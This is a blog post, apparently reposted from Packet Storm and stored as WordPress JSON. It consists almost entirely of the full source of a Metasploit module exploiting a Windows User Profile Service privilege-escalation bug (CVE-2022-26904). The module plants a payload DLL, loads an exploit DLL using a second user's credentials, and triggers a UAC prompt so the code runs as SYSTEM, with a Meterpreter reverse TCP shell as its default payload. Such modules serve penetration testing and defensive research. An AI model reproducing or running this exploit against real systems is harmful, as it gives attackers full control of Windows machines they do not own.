{"id":23024,"date":"2022-04-11T22:30:00","date_gmt":"2022-04-11T18:30:00","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166692\/cve_2022_26904_superprofile.rb.txt"},"modified":"2022-04-16T12:25:42","modified_gmt":"2022-04-16T07:55:42","slug":"windows-user-profile-service-privlege-escalation","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/windows-user-profile-service-privlege-escalation\/","title":{"rendered":"Windows User Profile Service Privlege Escalation"},"content":{"rendered":"<p dir=\"ltr\" style=\"text-align: left;\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">class MetasploitModule &lt; Msf::Exploit::Local<br \/>\nRank = ExcellentRanking<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">include Msf::Post::File<br \/>\ninclude Msf::Exploit::FileDropper<br \/>\ninclude Msf::Post::Windows::FileInfo<br \/>\ninclude Msf::Post::Windows::Priv<br \/>\ninclude Msf::Post::Windows::Process<br \/>\ninclude Msf::Post::Windows::ReflectiveDLLInjection<br \/>\ninclude Msf::Exploit::EXE # Needed for generate_payload_dll<br \/>\nprepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n{<br \/>\n&#8216;Name&#8217; =&gt; &#8216;User Profile Arbitrary Junction Creation Local Privilege Elevation&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nThe user profile service, identified as ProfSrv, is vulnerable to a local privilege elevation vulnerability<br \/>\nin its CreateDirectoryJunction() function due to a lack of appropriate checks on the directory structure of<br \/>\nthe junctions it tries to link together.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Attackers can leverage this vulnerability to plant a malicious DLL in a system directory and then trigger a<br \/>\nUAC prompt to cause this DLL to be loaded and executed by ProfSrv as the NT AUTHORITY\\SYSTEM user.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Note that this bug was originally identified as CVE-2021-34484 and was subsequently patched a second time as<br \/>\nCVE-2022-21919, however both patches were found to be insufficient. This bug is a patch bypass for<br \/>\nCVE-2022-21919 and at the time of publishing, has not yet been patched, though plans are in place to patch it<br \/>\nas CVE-2022-26904.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">It is important to note that the credentials supplied for the second user to log in as in this exploit must be<br \/>\nthose of a normal non-admin user and these credentials must also corralate with a user who has already logged in<br \/>\nat least once before. Additionally the current user running the exploit must have UAC set to the highest level,<br \/>\naka &#8220;Always Notify Me When&#8221;, in order for the code to be executed as NT AUTHORITY\\SYSTEM. Note however that<br \/>\n&#8220;Always Notify Me When&#8221; is the default UAC setting on common Windows installs, so this would only affect instances<br \/>\nwhere this setting has been changed either manually or as part of the installation process.<br \/>\n},<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;KLINIX5&#8217;, # Aka Abdelhamid Naceri. Original PoC w Patch Bypass<br \/>\n&#8216;Grant Willcox&#8217; # Metasploit module + Tweaks to PoC<br \/>\n],<br \/>\n&#8216;Arch&#8217; =&gt; [ ARCH_X64 ],<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>\n&#8216;SessionTypes&#8217; =&gt; [ &#8216;meterpreter&#8217; ],<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[ &#8216;Windows 11&#8217;, { &#8216;Arch&#8217; =&gt; ARCH_X64 } ]\n],<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[&#8216;CVE&#8217;, &#8216;2022-26904&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/rmusser01\/SuperProfile&#8217;], # Original link was at https:\/\/github.com\/klinix5\/SuperProfile\/ but was taken down. This is a backup.<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/web.archive.org\/web\/20220222105232\/https:\/\/halove23.blogspot.com\/2022\/02\/blog-post.html&#8217;], # Original blog post<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/klinix5\/ProfSvcLPE\/blob\/main\/write-up.docx&#8217;] # Discussion of previous iterations of this bug providing insight into patched functionality.<br \/>\n],<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2022-03-17&#8217;, # Date MSRC supplied CVE number, bug is not patched atm.<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [ CRASH_SAFE, ],<br \/>\n&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION ], # Will need to double check this as this may require some updates to the code to get it to the point where it can be used repetitively.<br \/>\n&#8216;SideEffects&#8217; =&gt; [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS, AUDIO_EFFECTS ]\n},<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;EXITFUNC&#8217; =&gt; &#8216;thread&#8217;,<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;windows\/x64\/meterpreter\/reverse_tcp&#8217;,<br \/>\n&#8216;WfsDelay&#8217; =&gt; 300<br \/>\n},<br \/>\n&#8216;AKA&#8217; =&gt; [ &#8216;SuperProfile&#8217; ]\n}<br \/>\n)<br \/>\n)<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">register_options([<br \/>\nOptString.new(&#8216;LOGINUSER&#8217;, [true, &#8216;Username of the secondary normal privileged user to log in as. Cannot be the same as the current user!&#8217;]),<br \/>\nOptString.new(&#8216;LOGINDOMAIN&#8217;, [true, &#8216;Domain that the LOGINUSER belongs to. Ensures we log into the right domain.&#8217;, &#8216;.&#8217;]),<br \/>\nOptString.new(&#8216;LOGINPASSWORD&#8217;, [true, &#8216;Password for the secondary normal privileged user to log in as&#8217;])<br \/>\n])<br \/>\nend<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">def check<br \/>\nsysinfo_value = sysinfo[&#8216;OS&#8217;]\n<p dir=\"ltr\" style=\"text-align: left;\">if sysinfo_value !~ \/windows\/i<br \/>\n# Non-Windows systems are definitely not affected.<br \/>\nreturn CheckCode::Safe(&#8216;Target is not a Windows system, so it is not affected by this vulnerability!&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\"># see https:\/\/docs.microsoft.com\/en-us\/windows\/release-information\/<br \/>\nunless sysinfo_value =~ \/(7|8|8\\.1|10|11|2008|2012|2016|2019|2022|1803|1903|1909|2004)\/<br \/>\nreturn CheckCode::Safe(&#8216;Target is not running a vulnerable version of Windows!&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">print_status(&#8216;Checking if PromptOnSecureDesktop mitigation applied&#8230;&#8217;)<br \/>\nreg_key = &#8216;HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System&#8217;<br \/>\nreg_val = &#8216;PromptOnSecureDesktop&#8217;<br \/>\nbegin<br \/>\nroot_key, base_key = @session.sys.registry.splitkey(reg_key)<br \/>\nvalue = @session.sys.registry.query_value_direct(root_key, base_key, reg_val)<br \/>\nrescue Rex::Post::Meterpreter::RequestError =&gt; e<br \/>\nreturn CheckCode::Unknown(&#8220;Was not able to retrieve the PromptOnSecureDesktop value. Error was #{e}&#8221;)<br \/>\nend<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">if value.data == 0<br \/>\nreturn CheckCode::Safe(&#8216;PromptOnSecureDesktop is set to 0, mitigation applied!&#8217;)<br \/>\nelsif value.data == 1<br \/>\nprint_good(&#8216;PromptOnSecureDesktop is set to 1, should be safe to proceed!&#8217;)<br \/>\nelse<br \/>\nreturn CheckCode::Unknown(&#8220;PromptOnSecureDesktop was not set to a known value, are you sure the target system isn&#8217;t corrupted?&#8221;)<br \/>\nend<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">_major, _minor, build, revision, _branch = file_version(&#8216;C:\\\\Windows\\\\System32\\\\ntdll.dll&#8217;)<br \/>\nmajor_minor_version = sysinfo_value.match(\/\\((\\d{1,2}\\.\\d)\/)<br \/>\nif major_minor_version.nil?<br \/>\nreturn CheckCode::Unknown(&#8220;Could not retrieve the major n minor version of the target&#8217;s build number!&#8221;)<br \/>\nend<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">major_minor_version = major_minor_version[1]\nbuild_num = &#8220;#{major_minor_version}.#{build}.#{revision}&#8221;<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">build_num_gemversion = Rex::Version.new(build_num)<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\"># Build numbers taken from https:\/\/www.gaijin.at\/en\/infos\/windows-version-numbers and from<br \/>\n# https:\/\/en.wikipedia.org\/wiki\/Windows_11_version_history and https:\/\/en.wikipedia.org\/wiki\/Windows_10_version_history<br \/>\nif (build_num_gemversion &gt;= Rex::Version.new(&#8216;10.0.22000.0&#8217;)) # Windows 11<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 11 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;10.0.20348.0&#8217;)) # Windows Server 2022<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 11 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;10.0.19044.0&#8217;)) # Windows 10 21H2<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 10 21H2 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;10.0.19043.0&#8217;)) # Windows 10 21H1<br \/>\ntarget_not_presently_supported<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 10 21H1 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;10.0.19042.0&#8217;)) # Windows 10 20H2 \/ Windows Server, Version 20H2<br \/>\ntarget_not_presently_supported<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 10 20H2 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;10.0.19041.0&#8217;)) # Windows 10 v2004 \/ Windows Server v2004<br \/>\ntarget_not_presently_supported<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 10 v2004 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;10.0.18363.0&#8217;)) # Windows 10 v1909 \/ Windows Server v1909<br \/>\ntarget_not_presently_supported<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 10 v1909 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;10.0.18362.0&#8217;)) # Windows 10 v1903<br \/>\ntarget_not_presently_supported<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 10 v1903 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;10.0.17763.0&#8217;)) # Windows 10 v1809 \/ Windows Server 2019 v1809<br \/>\ntarget_not_presently_supported<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 10 v1809 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;10.0.17134.0&#8217;)) # Windows 10 v1803<br \/>\ntarget_not_presently_supported<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 10 v1803 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;10.0.16299.0&#8217;)) # Windows 10 v1709<br \/>\ntarget_not_presently_supported<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 10 v1709 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;10.0.15063.0&#8217;)) # Windows 10 v1703<br \/>\ntarget_not_presently_supported<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 10 v1703 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;10.0.14393.0&#8217;)) # Windows 10 v1607 \/ Windows Server 2016 v1607<br \/>\ntarget_not_presently_supported<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 10 v1607 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;10.0.10586.0&#8217;)) # Windows 10 v1511<br \/>\ntarget_not_presently_supported<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 10 v1511 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;10.0.10240.0&#8217;)) # Windows 10 v1507<br \/>\ntarget_not_presently_supported<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 10 v1507 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;6.3.9600.0&#8217;)) # Windows 8.1\/Windows Server 2012 R2<br \/>\ntarget_not_presently_supported<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 8.1\/Windows Server 2012 R2 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;6.2.9200.0&#8217;)) # Windows 8\/Windows Server 2012<br \/>\ntarget_not_presently_supported<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 8\/Windows Server 2012 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;6.1.7601.0&#8217;)) # Windows 7 SP1\/Windows Server 2008 R2 SP1<br \/>\ntarget_not_presently_supported<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 7\/Windows Server 2008 R2 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;6.1.7600.0&#8217;)) # Windows 7\/Windows Server 2008 R2<br \/>\ntarget_not_presently_supported<br \/>\nreturn CheckCode::Appears(&#8216;Vulnerable Windows 7\/Windows Server 2008 R2 build detected!&#8217;)<br \/>\nelsif (build_num_gemversion &gt;= Rex::Version.new(&#8216;6.0.6002.0&#8217;)) # Windows Server 2008 SP2<br \/>\ntarget_not_presently_supported<br \/>\nreturn CheckCode::Appears(&#8216;Windows Server 2008\/Windows Server 2008 SP2 build detected!&#8217;)<br \/>\nelse<br \/>\nreturn CheckCode::Safe(&#8216;The build number of the target machine does not appear to be a vulnerable version!&#8217;)<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">def target_not_presently_supported<br \/>\nprint_warning(&#8216;This target is not presently supported by this exploit. Support may be added in the future!&#8217;)<br \/>\nprint_warning(&#8216;Attempts to exploit this target with this module WILL NOT WORK!&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">def check_target_is_running_supported_windows_version<br \/>\nif !sysinfo[&#8216;OS&#8217;].include?(&#8216;Windows&#8217;)<br \/>\nfail_with(Failure::NotVulnerable, &#8216;Target is not running Windows!&#8217;)<br \/>\nelsif !sysinfo[&#8216;OS&#8217;].include?(&#8216;Windows 10&#8217;) &amp;&amp; !sysinfo[&#8216;OS&#8217;].include?(&#8216;Windows 11&#8217;) &amp;&amp; !sysinfo[&#8216;OS&#8217;].include?(&#8216;Windows Server 2022&#8217;)<br \/>\nfail_with(Failure::NoTarget, &#8216;Target is running Windows, its not a version this module supports! Bailing&#8230;&#8217;)<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">def exploit<br \/>\n# Step 1: Check target environment is correct.<br \/>\nprint_status(&#8216;Step #1: Checking target environment&#8230;&#8217;)<br \/>\nif is_system?<br \/>\nfail_with(Failure::None, &#8216;Session is already elevated&#8217;)<br \/>\nend<br \/>\ncheck_target_is_running_supported_windows_version<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\"># Step 2: Generate the malicious DLL and upload it to a temp location.<br \/>\npayload_dll = generate_payload_dll<br \/>\nprint_status(&#8220;Payload DLL is #{payload_dll.length} bytes long&#8221;)<br \/>\ntemp_directory = session.sys.config.getenv(&#8216;%TEMP%&#8217;)<br \/>\nmalicious_dll_location = &#8220;#{temp_directory}\\\\#{Rex::Text.rand_text_alpha(6..13)}.dll&#8221;<br \/>\nprint_status(&#8220;Writing malicious DLL to #{malicious_dll_location}&#8221;)<br \/>\nwrite_file(malicious_dll_location, payload_dll)<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">print_status(&#8216;Marking DLL as full access for Everyone so that there are no access issues as the secondary user&#8230;&#8217;)<br \/>\ncmd_exec(&#8220;icacls #{malicious_dll_location} \/grant Everyone:(F)&#8221;)<br \/>\nregister_file_for_cleanup(malicious_dll_location)<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\"># Register the directories we create for cleanup<br \/>\nregister_dir_for_cleanup(&#8216;C:\\\\Windows\\\\System32\\\\Narrator.exe.Local&#8217;)<br \/>\nregister_dir_for_cleanup(&#8216;C:\\\\Users\\\\TEMP&#8217;)<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\"># Step 3: Load the main DLL that will trigger the exploit and conduct the arbitrary file copy.<br \/>\nprint_status(&#8216;Step #3: Loading the exploit DLL to run the main exploit&#8230;&#8217;)<br \/>\nlibrary_path = ::File.join(Msf::Config.data_directory, &#8216;exploits&#8217;, &#8216;CVE-2022-26904&#8217;, &#8216;CVE-2022-26904.dll&#8217;)<br \/>\nlibrary_path = ::File.expand_path(library_path)<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">dll_info_parameter = datastore[&#8216;LOGINUSER&#8217;].to_s + &#8216;||&#8217; + datastore[&#8216;LOGINDOMAIN&#8217;].to_s + &#8216;||&#8217; + datastore[&#8216;LOGINPASSWORD&#8217;].to_s + &#8216;||&#8217; + malicious_dll_location.to_s<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">@session_obtained_bool = false<br \/>\n# invoke the exploit, passing in the address of the payload that<br \/>\n# we want invoked on successful exploitation, and the credentials for the second user.<br \/>\nexecute_dll(library_path, dll_info_parameter)<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">print_good(&#8216;Exploit finished, wait for (hopefully privileged) payload execution to complete.&#8217;)<br \/>\nprint_warning(&#8220;Cleanup may not occur automatically if you aren&#8217;t using a Meterpreter payload so make sure to run the following command upon session completion:&#8221;)<br \/>\nprint_warning(&#8216;taskkill \/IM &#8220;consent.exe&#8221; \/F || taskkill \/IM &#8220;narrator.exe&#8221; \/F || taskkill \/IM &#8220;narratorquickstart.exe&#8221; \/F || taskkill \/IM &#8220;msiexec.exe&#8221; || rmdir \/q \/s C:\\Users\\TEMP || rmdir \/q \/s C:\\Windows\\System32\\Narrator.exe.local&#8217;)<br \/>\nprint_warning(&#8216;You may need to run this more than once to ensure these files are properly deleted and Narrator.exe actually closes!&#8217;)<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">print_status(&#8216;Sleeping for 60 seconds before trying to spawn UserAccountControlSettings.exe as a backup.&#8217;)<br \/>\nprint_status(&#8216;If you get a shell back before this, feel free to CTRL+C once the shell has successfully returned.&#8217;)<br \/>\nsleep(60)<br \/>\nif (@session_obtained_bool == false)<br \/>\n# Execute a command that requires elevation to cause the UAC prompt to appear. For some reason the DLL code itself<br \/>\n# triggering the UAC prompt won&#8217;t work at times so this is the best way of solving this issue for cases where this happens.<br \/>\nbegin<br \/>\ncmd_exec(&#8216;UserAccountControlSettings.exe&#8217;)<br \/>\nrescue Rex::TimeoutError<br \/>\nprint_warning(&#8216;Will need to get user to click on the flashing icon in the taskbar to open the UAC prompt and give us shells!&#8217;)<br \/>\nend<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">def on_new_session(new_session)<br \/>\n@session_obtained_bool = true<br \/>\nold_session = @session<br \/>\n@session = new_session<br \/>\nif new_session.type == &#8216;meterpreter&#8217;<br \/>\nconsent_pids = pidof(&#8216;consent.exe&#8217;)<br \/>\nfor id in consent_pids<br \/>\n@session.sys.process.kill(id)<br \/>\nend<br \/>\nsleep(5) # Needed as otherwise later folder deletion calls sometimes fail, and additional Narrator.exe processes<br \/>\n# can sometimes spawn a few seconds after we close consent.exe so we want to grab all of them at once.<br \/>\nnarrator_pids = pidof(&#8216;Narrator.exe&#8217;)<br \/>\nfor id in narrator_pids<br \/>\n@session.sys.process.kill(id)<br \/>\nend<br \/>\nnarrator_pids = pidof(&#8216;NarratorQuickStart.exe&#8217;)<br \/>\nfor id in narrator_pids<br \/>\n@session.sys.process.kill(id)<br \/>\nend<br \/>\nnarrator_pids = pidof(&#8216;msiexec.exe&#8217;)<br \/>\nfor id in narrator_pids<br \/>\n@session.sys.process.kill(id)<br \/>\nend<br \/>\nelse<br \/>\n# If it is another session type such as shell or PowerShell we will need to execute the command<br \/>\n# normally using cmd_exec() to cleanup, as it doesn&#8217;t seem we have a built in option to kill processes<br \/>\n# by name or PIDs as library functions for these session types.<br \/>\ncmd_exec(&#8216;taskkill \/IM &#8220;consent.exe&#8221; \/F&#8217;)<br \/>\nsleep(5)<br \/>\ncmd_exec(&#8216;taskkill \/IM &#8220;narrator.exe&#8221; \/F&#8217;)<br \/>\ncmd_exec(&#8216;taskkill \/IM &#8220;narratorquickstart.exe&#8221; \/F&#8217;)<br \/>\ncmd_exec(&#8216;taskkill \/IM &#8220;msiexec.exe&#8221; \/F&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">rm_rf(&#8216;C:\\\\Windows\\\\System32\\\\Narrator.exe.local&#8217;)<br \/>\nfor _i in range(1..3)<br \/>\nrm_rf(&#8216;C:\\\\Users\\\\TEMP&#8217;) # Try deleting this 3 times just to be sure.<br \/>\nend<br \/>\n@session = old_session<br \/>\nsuper<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::FileDropper include Msf::Post::Windows::FileInfo include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection include Msf::Exploit::EXE # Needed for generate_payload_dll prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, { &#8216;Name&#8217; =&gt; &#8216;User Profile Arbitrary Junction Creation Local &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-23024","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/23024","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=23024"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/23024\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=23024"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=23024"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=23024"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}